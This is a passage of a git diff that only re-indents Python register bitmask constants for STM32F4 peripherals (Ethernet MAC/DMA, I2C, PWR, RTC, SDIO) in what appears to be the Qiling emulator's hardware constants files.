+ SAF = 1 << 9 + SAIF = 1 << 8 + PCF = 0x3 << 6 + PCF_BlockAll = 1 << 6 + PCF_ForwardAll = 1 << 7 + PCF_ForwardPassedAddrFilter = 0x3 << 6 + BFD = 1 << 5 + PAM = 1 << 4 + DAIF = 1 << 3 + HM = 1 << 2 + HU = 1 << 1 + PM = 1 << 0 class ETH_MACMIIAR(IntEnum): - PA = 0x1f << 11 - MR = 0x1f << 6 - CR = 0x7 << 2 - CR_Div62 = 1 << 2 - CR_Div16 = 1 << 3 - CR_Div26 = 0x3 << 2 - CR_Div102 = 1 << 4 - MW = 1 << 1 - MB = 1 << 0 + PA = 0x1f << 11 + MR = 0x1f << 6 + CR = 0x7 << 2 + CR_Div62 = 1 << 2 + CR_Div16 = 1 << 3 + CR_Div26 = 0x3 << 2 + CR_Div102 = 1 << 4 + MW = 1 << 1 + MB = 1 << 0 class ETH_MACFCR(IntEnum): - PT = 0xffff << 16 - ZQPD = 1 << 7 - PLT = 0x3 << 4 - PLT_Minus28 = 1 << 4 - PLT_Minus144 = 1 << 5 - PLT_Minus256 = 0x3 << 4 - UPFD = 1 << 3 - RFCE = 1 << 2 - TFCE = 1 << 1 - FCBBPA = 1 << 0 + PT = 0xffff << 16 + ZQPD = 1 << 7 + PLT = 0x3 << 4 + PLT_Minus28 = 1 << 4 + PLT_Minus144 = 1 << 5 + PLT_Minus256 = 0x3 << 4 + UPFD = 1 << 3 + RFCE = 1 << 2 + TFCE = 1 << 1 + FCBBPA = 1 << 0 class ETH_MACVLANTR(IntEnum): - VLANTC = 1 << 16 - VLANTI = 0xffff << 0 + VLANTC = 1 << 16 + VLANTI = 0xffff << 0 class ETH_MACPMTCSR(IntEnum): - WFFRPR = 1 << 31 - GU = 1 << 9 - WFR = 1 << 6 - MPR = 1 << 5 - WFE = 1 << 2 - MPE = 1 << 1 - PD = 1 << 0 + WFFRPR = 1 << 31 + GU = 1 << 9 + WFR = 1 << 6 + MPR = 1 << 5 + WFE = 1 << 2 + MPE = 1 << 1 + PD = 1 << 0 class ETH_MACDBGR(IntEnum): - TFF = 1 << 25 - TFNE = 1 << 24 - TFWA = 1 << 22 - TFRS = 0x3 << 20 - TFRS_WRITING = 0x3 << 20 - TFRS_WAITING = 1 << 21 - TFRS_READ = 1 << 20 - MTP = 1 << 19 - MTFCS = 0x3 << 17 - MTFCS_TRANSFERRING = 0x3 << 17 - MTFCS_GENERATINGPCF = 1 << 18 - MTFCS_WAITING = 1 << 17 - MMTEA = 1 << 16 - RFFL = 0x3 << 8 - RFFL_FL = 0x3 << 8 - RFFL_ABOVEFCT = 1 << 9 - RFFL_BELOWFCT = 1 << 8 - RFRCS = 0x3 << 5 - RFRCS_FLUSHING = 0x3 << 5 - RFRCS_STATUSREADING = 1 << 6 - RFRCS_DATAREADING = 1 << 5 - RFWRA = 1 << 4 - MSFRWCS = 0x3 << 1 - MMRPEA = 1 << 0 + TFF = 1 << 25 + TFNE = 1 << 24 + TFWA = 1 << 22 + TFRS = 0x3 << 20 + TFRS_WRITING = 0x3 << 20 + TFRS_WAITING = 1 << 21 + TFRS_READ = 1 << 20 + MTP = 1 << 19 + MTFCS = 0x3 << 17 + MTFCS_TRANSFERRING = 0x3 << 17 + MTFCS_GENERATINGPCF = 1 << 18 + MTFCS_WAITING = 1 << 17 + MMTEA = 1 << 16 + RFFL = 0x3 << 8 + RFFL_FL = 0x3 << 8 + RFFL_ABOVEFCT = 1 << 9 + RFFL_BELOWFCT = 1 << 8 + RFRCS = 0x3 << 5 + RFRCS_FLUSHING = 0x3 << 5 + RFRCS_STATUSREADING = 1 << 6 + RFRCS_DATAREADING = 1 << 5 + RFWRA = 1 << 4 + MSFRWCS = 0x3 << 1 + MMRPEA = 1 << 0 class ETH_MACSR(IntEnum): - TSTS = 1 << 9 - MMCTS = 1 << 6 - MMMCRS = 1 << 5 - MMCS = 1 << 4 - PMTS = 1 << 3 + TSTS = 1 << 9 + MMCTS = 1 << 6 + MMMCRS = 1 << 5 + MMCS = 1 << 4 + PMTS = 1 << 3 class ETH_MACIMR(IntEnum): - TSTIM = 1 << 9 - PMTIM = 1 << 3 + TSTIM = 1 << 9 + PMTIM = 1 << 3 class ETH_MACA1HR(IntEnum): - AE = 1 << 31 - SA = 1 << 30 - MBC = 0x3f << 24 - MACA1H = 0xffff << 0 + AE = 1 << 31 + SA = 1 << 30 + MBC = 0x3f << 24 + MACA1H = 0xffff << 0 class ETH_MACA2HR(IntEnum): - AE = 1 << 31 - SA = 1 << 30 - MBC = 0x3f << 24 - MACA2H = 0xffff << 0 + AE = 1 << 31 + SA = 1 << 30 + MBC = 0x3f << 24 + MACA2H = 0xffff << 0 class ETH_MACA3HR(IntEnum): - AE = 1 << 31 - SA = 1 << 30 - MBC = 0x3f << 24 - MACA3H = 0xffff << 0 + AE = 1 << 31 + SA = 1 << 30 + MBC = 0x3f << 24 + MACA3H = 0xffff << 0 class ETH_MMCCR(IntEnum): - MCFHP = 1 << 5 - MCP = 1 << 4 - MCF = 1 << 3 - ROR = 1 << 2 - CSR = 1 << 1 - CR = 1 << 0 + MCFHP = 1 << 5 + MCP = 1 << 4 + MCF = 1 << 3 + ROR = 1 << 2 + CSR = 1 << 1 + CR = 1 << 0 class ETH_MMCRIR(IntEnum): - RGUFS = 1 << 17 - RFAES = 1 << 6 - RFCES = 1 << 5 + RGUFS = 1 << 17 + RFAES = 1 << 6 + RFCES = 1 << 5 class ETH_MMCTIR(IntEnum): - TGFS = 1 << 21 - TGFMSCS = 1 << 15 - TGFSCS = 1 << 14 + TGFS = 1 << 21 + TGFMSCS = 1 << 15 + TGFSCS = 1 << 14 class ETH_MMCRIMR(IntEnum): - RGUFM = 1 << 17 - RFAEM = 1 << 6 - RFCEM = 1 << 5 + RGUFM = 1 << 17 + RFAEM = 1 << 6 + RFCEM = 1 << 5 class ETH_MMCTIMR(IntEnum): - TGFM = 1 << 21 - TGFMSCM = 1 << 15 - TGFSCM = 1 << 14 + TGFM = 1 << 21 + TGFMSCM = 1 << 15 + TGFSCM = 1 << 14 class ETH_PTPTSCR(IntEnum): - TSCNT = 0x3 << 16 - TSARU = 1 << 5 - TSITE = 1 << 4 - TSSTU = 1 << 3 - TSSTI = 1 << 2 - TSFCU = 1 << 1 - TSE = 1 << 0 + TSCNT = 0x3 << 16 + TSARU = 1 << 5 + TSITE = 1 << 4 + TSSTU = 1 << 3 + TSSTI = 1 << 2 + TSFCU = 1 << 1 + TSE = 1 << 0 class ETH_PTPTSSR(IntEnum): - TSSMRME = 1 << 15 - TSSEME = 1 << 14 - TSSIPV4FE = 1 << 13 - TSSIPV6FE = 1 << 12 - TSSPTPOEFE = 1 << 11 - TSPTPPSV2E = 1 << 10 - TSSSR = 1 << 9 - TSSARFE = 1 << 8 - TSTTR = 1 << 5 - TSSO = 1 << 4 + TSSMRME = 1 << 15 + TSSEME = 1 << 14 + TSSIPV4FE = 1 << 13 + TSSIPV6FE = 1 << 12 + TSSPTPOEFE = 1 << 11 + TSPTPPSV2E = 1 << 10 + TSSSR = 1 << 9 + TSSARFE = 1 << 8 + TSTTR = 1 << 5 + TSSO = 1 << 4 class ETH_PTPSSIR(IntEnum): - STSSI = 0xff << 0 + STSSI = 0xff << 0 class ETH_PTPTSLR(IntEnum): - STPNS = 1 << 31 - STSS = 0x7fffffff << 0 + STPNS = 1 << 31 + STSS = 0x7fffffff << 0 class ETH_PTPTSLUR(IntEnum): - TSUPNS = 1 << 31 - TSUSS = 0x7fffffff << 0 + TSUPNS = 1 << 31 + TSUSS = 0x7fffffff << 0 class ETH_DMABMR(IntEnum): - AAB = 1 << 25 - FPM = 1 << 24 - USP = 1 << 23 - RDP = 0x3f << 17 - FB = 1 << 16 - RTPR = 0x3 << 14 - PBL = 0x3f << 8 - EDE = 1 << 7 - DSL = 0x1f << 2 - DA = 1 << 1 - SR = 1 << 0 + AAB = 1 << 25 + FPM = 1 << 24 + USP = 1 << 23 + RDP = 0x3f << 17 + FB = 1 << 16 + RTPR = 0x3 << 14 + PBL = 0x3f << 8 + EDE = 1 << 7 + DSL = 0x1f << 2 + DA = 1 << 1 + SR = 1 << 0 class ETH_DMASR(IntEnum): - TSTS = 1 << 29 - PMTS = 1 << 28 - MMCS = 1 << 27 - EBS = 0x7 << 23 - EBS_DescAccess = 1 << 25 - EBS_ReadTransf = 1 << 24 - EBS_DataTransfTx = 1 << 23 - TPS = 0x7 << 20 - TPS_Fetching = 1 << 20 - TPS_Waiting = 1 << 21 - TPS_Reading = 0x3 << 20 - TPS_Suspended = 0x3 << 21 - TPS_Closing = 0x7 << 20 - RPS = 0x7 << 17 - RPS_Fetching = 1 << 17 - RPS_Waiting = 0x3 << 17 - RPS_Suspended = 1 << 19 - RPS_Closing = 0x5 << 17 - RPS_Queuing = 0x7 << 17 - NIS = 1 << 16 - AIS = 1 << 15 - ERS = 1 << 14 - FBES = 1 << 13 - ETS = 1 << 10 - RWTS = 1 << 9 - RPSS = 1 << 8 - RBUS = 1 << 7 - RS = 1 << 6 - TUS = 1 << 5 - ROS = 1 << 4 - TJTS = 1 << 3 - TBUS = 1 << 2 - TPSS = 1 << 1 - TS = 1 << 0 + TSTS = 1 << 29 + PMTS = 1 << 28 + MMCS = 1 << 27 + EBS = 0x7 << 23 + EBS_DescAccess = 1 << 25 + EBS_ReadTransf = 1 << 24 + EBS_DataTransfTx = 1 << 23 + TPS = 0x7 << 20 + TPS_Fetching = 1 << 20 + TPS_Waiting = 1 << 21 + TPS_Reading = 0x3 << 20 + TPS_Suspended = 0x3 << 21 + TPS_Closing = 0x7 << 20 + RPS = 0x7 << 17 + RPS_Fetching = 1 << 17 + RPS_Waiting = 0x3 << 17 + RPS_Suspended = 1 << 19 + RPS_Closing = 0x5 << 17 + RPS_Queuing = 0x7 << 17 + NIS = 1 << 16 + AIS = 1 << 15 + ERS = 1 << 14 + FBES = 1 << 13 + ETS = 1 << 10 + RWTS = 1 << 9 + RPSS = 1 << 8 + RBUS = 1 << 7 + RS = 1 << 6 + TUS = 1 << 5 + ROS = 1 << 4 + TJTS = 1 << 3 + TBUS = 1 << 2 + TPSS = 1 << 1 + TS = 1 << 0 class ETH_DMAOMR(IntEnum): - DTCEFD = 1 << 26 - RSF = 1 << 25 - DFRF = 1 << 24 - TSF = 1 << 21 - FTF = 1 << 20 - TTC = 0x7 << 14 - ST = 1 << 13 - FEF = 1 << 7 - FGF = 1 << 6 - RTC = 0x3 << 3 - OSF = 1 << 2 - SR = 1 << 1 + DTCEFD = 1 << 26 + RSF = 1 << 25 + DFRF = 1 << 24 + TSF = 1 << 21 + FTF = 1 << 20 + TTC = 0x7 << 14 + ST = 1 << 13 + FEF = 1 << 7 + FGF = 1 << 6 + RTC = 0x3 << 3 + OSF = 1 << 2 + SR = 1 << 1 class ETH_DMAIER(IntEnum): - NISE = 1 << 16 - AISE = 1 << 15 - ERIE = 1 << 14 - FBEIE = 1 << 13 - ETIE = 1 << 10 - RWTIE = 1 << 9 - RPSIE = 1 << 8 - RBUIE = 1 << 7 - RIE = 1 << 6 - TUIE = 1 << 5 - ROIE = 1 << 4 - TJTIE = 1 << 3 - TBUIE = 1 << 2 - TPSIE = 1 << 1 - TIE = 1 << 0 + NISE = 1 << 16 + AISE = 1 << 15 + ERIE = 1 << 14 + FBEIE = 1 << 13 + ETIE = 1 << 10 + RWTIE = 1 << 9 + RPSIE = 1 << 8 + RBUIE = 1 << 7 + RIE = 1 << 6 + TUIE = 1 << 5 + ROIE = 1 << 4 + TJTIE = 1 << 3 + TBUIE = 1 << 2 + TPSIE = 1 << 1 + TIE = 1 << 0 class ETH_DMAMFBOCR(IntEnum): - OFOC = 1 << 28 - MFA = 0x7ff << 17 - OMFC = 1 << 16 - MFC = 0xffff << 0 + OFOC = 1 << 28 + MFA = 0x7ff << 17 + OMFC = 1 << 16 + MFC = 0xffff << 0 diff --git a/qiling/hw/const/stm32f4xx_i2c.py b/qiling/hw/const/stm32f4xx_i2c.py index e8032597b..3efb1f2b6 100644 --- a/qiling/hw/const/stm32f4xx_i2c.py +++ b/qiling/hw/const/stm32f4xx_i2c.py @@ -7,88 +7,88 @@ class I2C_CR1(IntEnum): - PE = 1 << 0 - SMBUS = 1 << 1 - SMBTYPE = 1 << 3 - ENARP = 1 << 4 - ENPEC = 1 << 5 - ENGC = 1 << 6 - NOSTRETCH = 1 << 7 - START = 1 << 8 - STOP = 1 << 9 - ACK = 1 << 10 - POS = 1 << 11 - PEC = 1 << 12 - ALERT = 1 << 13 - SWRST = 1 << 15 + PE = 1 << 0 + SMBUS = 1 << 1 + SMBTYPE = 1 << 3 + ENARP = 1 << 4 + ENPEC = 1 << 5 + ENGC = 1 << 6 + NOSTRETCH = 1 << 7 + START = 1 << 8 + STOP = 1 << 9 + ACK = 1 << 10 + POS = 1 << 11 + PEC = 1 << 12 + ALERT = 1 << 13 + SWRST = 1 << 15 - RW_MASK = PE|SMBUS|SMBTYPE|ENARP|ENPEC|ENGC|NOSTRETCH|START|STOP|ACK|POS|ALERT|SWRST + RW_MASK = PE|SMBUS|SMBTYPE|ENARP|ENPEC|ENGC|NOSTRETCH|START|STOP|ACK|POS|ALERT|SWRST class I2C_CR2(IntEnum): - FREQ = 0x3f << 0 - ITERREN = 1 << 8 - ITEVTEN = 1 << 9 - ITBUFEN = 1 << 10 - DMAEN = 1 << 11 - LAST = 1 << 12 + FREQ = 0x3f << 0 + ITERREN = 1 << 8 + ITEVTEN = 1 << 9 + ITBUFEN = 1 << 10 + DMAEN = 1 << 11 + LAST = 1 << 12 class I2C_OAR1(IntEnum): - ADD0 = 1 << 0 - ADD1 = 1 << 1 - ADD2 = 1 << 2 - ADD3 = 1 << 3 - ADD4 = 1 << 4 - ADD5 = 1 << 5 - ADD6 = 1 << 6 - ADD7 = 1 << 7 - ADD8 = 1 << 8 - ADD9 = 1 << 9 - ADDMODE = 1 << 15 + ADD0 = 1 << 0 + ADD1 = 1 << 1 + ADD2 = 1 << 2 + ADD3 = 1 << 3 + ADD4 = 1 << 4 + ADD5 = 1 << 5 + ADD6 = 1 << 6 + ADD7 = 1 << 7 + ADD8 = 1 << 8 + ADD9 = 1 << 9 + ADDMODE = 1 << 15 - ADDR1_7B = 0x7f << 1 - ADDR1_10B = 0x3ff + ADDR1_7B = 0x7f << 1 + ADDR1_10B = 0x3ff class I2C_OAR2(IntEnum): - ENDUAL = 1 << 0 - ADDR2 = 0x7f << 1 + ENDUAL = 1 << 0 + ADDR2 = 0x7f << 1 class I2C_DR(IntEnum): - DR = 0xff << 0 + DR = 0xff << 0 class I2C_SR1(IntEnum): - SB = 1 << 0 - ADDR = 1 << 1 - BTF = 1 << 2 - ADD10 = 1 << 3 - STOPF = 1 << 4 - RXNE = 1 << 6 - TXE = 1 << 7 - BERR = 1 << 8 - ARLO = 1 << 9 - AF = 1 << 10 - OVR = 1 << 11 - PECERR = 1 << 12 - TIMEOUT = 1 << 14 - SMBALERT = 1 << 15 + SB = 1 << 0 + ADDR = 1 << 1 + BTF = 1 << 2 + ADD10 = 1 << 3 + STOPF = 1 << 4 + RXNE = 1 << 6 + TXE = 1 << 7 + BERR = 1 << 8 + ARLO = 1 << 9 + AF = 1 << 10 + OVR = 1 << 11 + PECERR = 1 << 12 + TIMEOUT = 1 << 14 + SMBALERT = 1 << 15 class I2C_SR2(IntEnum): - MSL = 1 << 0 - BSY = 1 << 1 - TRA = 1 << 2 - GENCALL = 1 << 4 - SMBDEFAULT = 1 << 5 - SMBHOST = 1 << 6 - DALF = 1 << 7 - PEC = 0xff << 8 + MSL = 1 << 0 + BSY = 1 << 1 + TRA = 1 << 2 + GENCALL = 1 << 4 + SMBDEFAULT = 1 << 5 + SMBHOST = 1 << 6 + DALF = 1 << 7 + PEC = 0xff << 8 class I2C_CCR(IntEnum): - CCR = 0xfff << 0 - DTY = 1 << 14 - FS = 1 << 15 + CCR = 0xfff << 0 + DTY = 1 << 14 + FS = 1 << 15 class I2C_TRISE(IntEnum): - TRISE = 0x3f << 0 + TRISE = 0x3f << 0 class I2C_FLTR(IntEnum): - DNF = 0xf << 0 - ANOFF = 1 << 4 + DNF = 0xf << 0 + ANOFF = 1 << 4 diff --git a/qiling/hw/const/stm32f4xx_pwr.py b/qiling/hw/const/stm32f4xx_pwr.py index 7e9fe07fb..7ddaeab0d 100644 --- a/qiling/hw/const/stm32f4xx_pwr.py +++ b/qiling/hw/const/stm32f4xx_pwr.py @@ -7,30 +7,30 @@ class PWR_CR(IntEnum): - LPDS = 1 << 0 - PDDS = 1 << 1 - CWUF = 1 << 2 - CSBF = 1 << 3 - PVDE = 1 << 4 - PLS = 0x7 << 5 - DBP = 1 << 8 - FPDS = 1 << 9 - LPLVDS = 1 << 10 - MRLVDS = 1 << 11 - ADCDC1 = 1 << 13 - VOS = 0x3 << 14 - ODEN = 1 << 16 - ODSWEN = 1 << 17 - UDEN = 0x3 << 18 + LPDS = 1 << 0 + PDDS = 1 << 1 + CWUF = 1 << 2 + CSBF = 1 << 3 + PVDE = 1 << 4 + PLS = 0x7 << 5 + DBP = 1 << 8 + FPDS = 1 << 9 + LPLVDS = 1 << 10 + MRLVDS = 1 << 11 + ADCDC1 = 1 << 13 + VOS = 0x3 << 14 + ODEN = 1 << 16 + ODSWEN = 1 << 17 + UDEN = 0x3 << 18 class PWR_CSR(IntEnum): - WUF = 1 << 0 - SBF = 1 << 1 - PVDO = 1 << 2 - BRR = 1 << 3 - EWUP = 1 << 8 - BRE = 1 << 9 - VOSRDY = 1 << 14 - ODRDY = 1 << 16 - ODSWRDY = 1 << 17 - UDRDY = 0x3 << 18 + WUF = 1 << 0 + SBF = 1 << 1 + PVDO = 1 << 2 + BRR = 1 << 3 + EWUP = 1 << 8 + BRE = 1 << 9 + VOSRDY = 1 << 14 + ODRDY = 1 << 16 + ODSWRDY = 1 << 17 + UDRDY = 0x3 << 18 diff --git a/qiling/hw/const/stm32f4xx_rtc.py b/qiling/hw/const/stm32f4xx_rtc.py index d1ca5f81c..ba145d417 100644 --- a/qiling/hw/const/stm32f4xx_rtc.py +++ b/qiling/hw/const/stm32f4xx_rtc.py @@ -8,161 +8,161 @@ class RTC_TR(IntEnum): - PM = 1 << 22 - HT = 0x3 << 20 - HU = 0xf << 16 - MNT = 0x7 << 12 - MNU = 0xf << 8 - ST = 0x7 << 4 - SU = 0xf << 0 + PM = 1 << 22 + HT = 0x3 << 20 + HU = 0xf << 16 + MNT = 0x7 << 12 + MNU = 0xf << 8 + ST = 0x7 << 4 + SU = 0xf << 0 class RTC_DR(IntEnum): - YT = 0xf << 20 - YU = 0xf << 16 - WDU = 0x7 << 13 - MT = 1 << 12 - MU = 0xf << 8 - DT = 0x3 << 4 - D = 0xf << 0 + YT = 0xf << 20 + YU = 0xf << 16 + WDU = 0x7 << 13 + MT = 1 << 12 + MU = 0xf << 8 + DT = 0x3 << 4 + D = 0xf << 0 class RTC_CR(IntEnum): - COE = 1 << 23 - OSEL = 0x3 << 21 - POL = 1 << 20 - COSEL = 1 << 19 - BKP = 1 << 18 - SUB1H = 1 << 17 - ADD1H = 1 << 16 - TSIE = 1 << 15 - WUTIE = 1 << 14 - ALRBIE = 1 << 13 - ALRAIE = 1 << 12 - TSE = 1 << 11 - WUTE = 1 << 10 - ALRBE = 1 << 9 - ALRAE = 1 << 8 - DCE = 1 << 7 - FMT = 1 << 6 - BYPSHAD = 1 << 5 - REFCKON = 1 << 4 - TSEDGE = 1 << 3 - WUCKSEL = 0x7 << 0 + COE = 1 << 23 + OSEL = 0x3 << 21 + POL = 1 << 20 + COSEL = 1 << 19 + BKP = 1 << 18 + SUB1H = 1 << 17 + ADD1H = 1 << 16 + TSIE = 1 << 15 + WUTIE = 1 << 14 + ALRBIE = 1 << 13 + ALRAIE = 1 << 12 + TSE = 1 << 11 + WUTE = 1 << 10 + ALRBE = 1 << 9 + ALRAE = 1 << 8 + DCE = 1 << 7 + FMT = 1 << 6 + BYPSHAD = 1 << 5 + REFCKON = 1 << 4 + TSEDGE = 1 << 3 + WUCKSEL = 0x7 << 0 class RTC_ISR(IntEnum): - RECALPF = 1 << 16 - TAMP1F = 1 << 13 - TAMP2F = 1 << 14 - TSOVF = 1 << 12 - TSF = 1 << 11 - WUTF = 1 << 10 - ALRBF = 1 << 9 - ALRAF = 1 << 8 - INIT = 1 << 7 - INITF = 1 << 6 - RSF = 1 << 5 - INITS = 1 << 4 - SHPF = 1 << 3 - WUTWF = 1 << 2 - ALRBWF = 1 << 1 - ALRAWF = 1 << 0 + RECALPF = 1 << 16 + TAMP1F = 1 << 13 + TAMP2F = 1 << 14 + TSOVF = 1 << 12 + TSF = 1 << 11 + WUTF = 1 << 10 + ALRBF = 1 << 9 + ALRAF = 1 << 8 + INIT = 1 << 7 + INITF = 1 << 6 + RSF = 1 << 5 + INITS = 1 << 4 + SHPF = 1 << 3 + WUTWF = 1 << 2 + ALRBWF = 1 << 1 + ALRAWF = 1 << 0 class RTC_PRER(IntEnum): - PREDIV_A = 0x7f << 16 - PREDIV_S = 0x7fff << 0 + PREDIV_A = 0x7f << 16 + PREDIV_S = 0x7fff << 0 class RTC_WUTR(IntEnum): - WUT = 0xffff << 0 + WUT = 0xffff << 0 class RTC_CALIBR(IntEnum): - DCS = 1 << 7 - DC = 0x1f << 0 + DCS = 1 << 7 + DC = 0x1f << 0 class RTC_ALRMAR(IntEnum): - MSK4 = 1 << 31 - WDSEL = 1 << 30 - DT = 0x3 << 28 - D = 0xf << 24 - MSK3 = 1 << 23 - PM = 1 << 22 - HT = 0x3 << 20 - HU = 0xf << 16 - MSK2 = 1 << 15 - MNT = 0x7 << 12 - MNU = 0xf << 8 - MSK1 = 1 << 7 - ST = 0x7 << 4 - SU = 0xf << 0 + MSK4 = 1 << 31 + WDSEL = 1 << 30 + DT = 0x3 << 28 + D = 0xf << 24 + MSK3 = 1 << 23 + PM = 1 << 22 + HT = 0x3 << 20 + HU = 0xf << 16 + MSK2 = 1 << 15 + MNT = 0x7 << 12 + MNU = 0xf << 8 + MSK1 = 1 << 7 + ST = 0x7 << 4 + SU = 0xf << 0 class RTC_ALRMBR(IntEnum): - MSK4 = 1 << 31 - WDSEL = 1 << 30 - DT = 0x3 << 28 - D = 0xf << 24 - MSK3 = 1 << 23 - PM = 1 << 22 - HT = 0x3 << 20 - HU = 0xf << 16 - MSK2 = 1 << 15 - MNT = 0x7 << 12 - MNU = 0xf << 8 - MSK1 = 1 << 7 - ST = 0x7 << 4 - SU = 0xf << 0 + MSK4 = 1 << 31 + WDSEL = 1 << 30 + DT = 0x3 << 28 + D = 0xf << 24 + MSK3 = 1 << 23 + PM = 1 << 22 + HT = 0x3 << 20 + HU = 0xf << 16 + MSK2 = 1 << 15 + MNT = 0x7 << 12 + MNU = 0xf << 8 + MSK1 = 1 << 7 + ST = 0x7 << 4 + SU = 0xf << 0 class RTC_WPR(IntEnum): - KEY = 0xff << 0 + KEY = 0xff << 0 class RTC_SSR(IntEnum): - SS = 0xffff << 0 + SS = 0xffff << 0 class RTC_SHIFTR(IntEnum): - SUBFS = 0x7fff << 0 - ADD1S = 1 << 31 + SUBFS = 0x7fff << 0 + ADD1S = 1 << 31 class RTC_TSTR(IntEnum): - PM = 1 << 22 - HT = 0x3 << 20 - HU = 0xf << 16 - MNT = 0x7 << 12 - MNU = 0xf << 8 - ST = 0x7 << 4 - SU = 0xf << 0 + PM = 1 << 22 + HT = 0x3 << 20 + HU = 0xf << 16 + MNT = 0x7 << 12 + MNU = 0xf << 8 + ST = 0x7 << 4 + SU = 0xf << 0 class RTC_TSDR(IntEnum): - WDU = 0x7 << 13 - MT = 1 << 12 - MU = 0xf << 8 - DT = 0x3 << 4 - D = 0xf << 0 + WDU = 0x7 << 13 + MT = 1 << 12 + MU = 0xf << 8 + DT = 0x3 << 4 + D = 0xf << 0 class RTC_TSSSR(IntEnum): - SS = 0xffff << 0 + SS = 0xffff << 0 class RTC_CALR(IntEnum): - CALP = 1 << 15 - CALW8 = 1 << 14 - CALW16 = 1 << 13 - CALM = 0x1ff << 0 + CALP = 1 << 15 + CALW8 = 1 << 14 + CALW16 = 1 << 13 + CALM = 0x1ff << 0 class RTC_TAFCR(IntEnum): - ALARMOUTTYPE = 1 << 18 - TSINSEL = 1 << 17 - TAMP1INSEL = 1 << 16 - TAMPPUDIS = 1 << 15 - TAMPPRCH = 0x3 << 13 - TAMPFLT = 0x3 << 11 - TAMPFREQ = 0x7 << 8 - TAMPTS = 1 << 7 - TAMP2TRG = 1 << 4 - TAMP2E = 1 << 3 - TAMPIE = 1 << 2 - TAMP1TRG = 1 << 1 - TAMP1E = 1 << 0 + ALARMOUTTYPE = 1 << 18 + TSINSEL = 1 << 17 + TAMP1INSEL = 1 << 16 + TAMPPUDIS = 1 << 15 + TAMPPRCH = 0x3 << 13 + TAMPFLT = 0x3 << 11 + TAMPFREQ = 0x7 << 8 + TAMPTS = 1 << 7 + TAMP2TRG = 1 << 4 + TAMP2E = 1 << 3 + TAMPIE = 1 << 2 + TAMP1TRG = 1 << 1 + TAMP1E = 1 << 0 class RTC_ALRMASSR(IntEnum): - MASKSS = 0xf << 24 - SS = 0x7fff << 0 + MASKSS = 0xf << 24 + SS = 0x7fff << 0 class RTC_ALRMBSSR(IntEnum): - MASKSS = 0xf << 24 - SS = 0x7fff << 0 + MASKSS = 0xf << 24 + SS = 0x7fff << 0 diff --git a/qiling/hw/const/stm32f4xx_sdio.py b/qiling/hw/const/stm32f4xx_sdio.py index e48821845..84374a772 100644 --- a/qiling/hw/const/stm32f4xx_sdio.py +++ b/qiling/hw/const/stm32f4xx_sdio.py @@ -7,99 +7,99 @@ class SDIO_CLKCR(IntEnum): - CLKDIV = 0xff << 0 - CLKEN = 1 << 8 - PWRSAV = 1 << 9 - BYPASS = 1 << 10 - WIDBUS = 0x3 << 11 - NEGEDGE = 1 << 13 - HWFC_EN = 1 << 14 + CLKDIV = 0xff << 0 + CLKEN = 1 << 8 + PWRSAV = 1 << 9 + BYPASS = 1 << 10 + WIDBUS = 0x3 << 11 + NEGEDGE = 1 << 13 + HWFC_EN = 1 << 14 class SDIO_CMD(IntEnum): - CMDINDEX = 0x3f << 0 - WAITRESP = 0x3 << 6 - WAITINT = 1 << 8 - WAITPEND = 1 << 9 - CPSMEN = 1 << 10 - SDIOSUSPEND = 1 << 11 - ENCMDCOMPL = 1 << 12 - NIEN = 1 << 13 - CEATACMD = 1 << 14 + CMDINDEX = 0x3f << 0 + WAITRESP = 0x3 << 6 + WAITINT = 1 << 8 + WAITPEND = 1 << 9 + CPSMEN = 1 << 10 + SDIOSUSPEND = 1 << 11 + ENCMDCOMPL = 1 << 12 + NIEN = 1 << 13 + CEATACMD = 1 << 14 class SDIO_DCTRL(IntEnum): - DTEN = 1 << 0 - DTDIR = 1 << 1 - DTMODE = 1 << 2 - DMAEN = 1 << 3 - DBLOCKSIZE = 0xf << 4 - RWSTART = 1 << 8 - RWSTOP = 1 << 9 - RWMOD = 1 << 10 - SDIOEN = 1 << 11 + DTEN = 1 << 0 + DTDIR = 1 << 1 + DTMODE = 1 << 2 + DMAEN = 1 << 3 + DBLOCKSIZE = 0xf << 4 + RWSTART = 1 << 8 + RWSTOP = 1 << 9 + RWMOD = 1 << 10 + SDIOEN = 1 << 11 class SDIO_STA(IntEnum): - CCRCFAIL = 1 << 0 - DCRCFAIL = 1 << 1 - CTIMEOUT = 1 << 2 - DTIMEOUT = 1 << 3 - TXUNDERR = 1 << 4 - RXOVERR = 1 << 5 - CMDREND = 1 << 6 - CMDSENT = 1 << 7 - DATAEND = 1 << 8 - STBITERR = 1 << 9 - DBCKEND = 1 << 10 - CMDACT = 1 << 11 - TXACT = 1 << 12 - RXACT = 1 << 13 - TXFIFOHE = 1 << 14 - RXFIFOHF = 1 << 15 - TXFIFOF = 1 << 16 - RXFIFOF = 1 << 17 - TXFIFOE = 1 << 18 - RXFIFOE = 1 << 19 - TXDAVL = 1 << 20 - RXDAVL = 1 << 21 - SDIOIT = 1 << 22 - CEATAEND = 1 << 23 + CCRCFAIL = 1 << 0 + DCRCFAIL = 1 << 1 + CTIMEOUT = 1 << 2 + DTIMEOUT = 1 << 3 + TXUNDERR = 1 << 4 + RXOVERR = 1 << 5 + CMDREND = 1 << 6 + CMDSENT = 1 << 7 + DATAEND = 1 << 8 + STBITERR = 1 << 9 + DBCKEND = 1 << 10 + CMDACT = 1 << 11 + TXACT = 1 << 12 + RXACT = 1 << 13 + TXFIFOHE = 1 << 14 + RXFIFOHF = 1 << 15 + TXFIFOF = 1 << 16 + RXFIFOF = 1 << 17 + TXFIFOE = 1 << 18 + RXFIFOE = 1 << 19 + TXDAVL = 1 << 20 + RXDAVL = 1 << 21 + SDIOIT = 1 << 22 + CEATAEND = 1 << 23 class SDIO_ICR(IntEnum): - CCRCFAILC = 1 << 0 - DCRCFAILC = 1 << 1 - CTIMEOUTC = 1 << 2 - DTIMEOUTC = 1 << 3 - TXUNDERRC = 1 << 4 - RXOVERRC = 1 << 5 - CMDRENDC = 1 << 6 - CMDSENTC = 1 << 7 - DATAENDC = 1 << 8 - STBITERRC = 1 << 9 - DBCKENDC = 1 << 10 - SDIOITC = 1 << 22 - CEATAENDC = 1 << 23 + CCRCFAILC = 1 << 0 + DCRCFAILC = 1 << 1 + CTIMEOUTC = 1 << 2 + DTIMEOUTC = 1 << 3 + TXUNDERRC = 1 << 4 + RXOVERRC = 1 << 5 + CMDRENDC = 1 << 6 + CMDSENTC = 1 << 7 + DATAENDC = 1 << 8 + STBITERRC = 1 << 9 + DBCKENDC = 1 << 10 + SDIOITC = 1 << 22 + CEATAENDC = 1 << 23 class SDIO_MASK(IntEnum): - CCRCFAILIE = 1 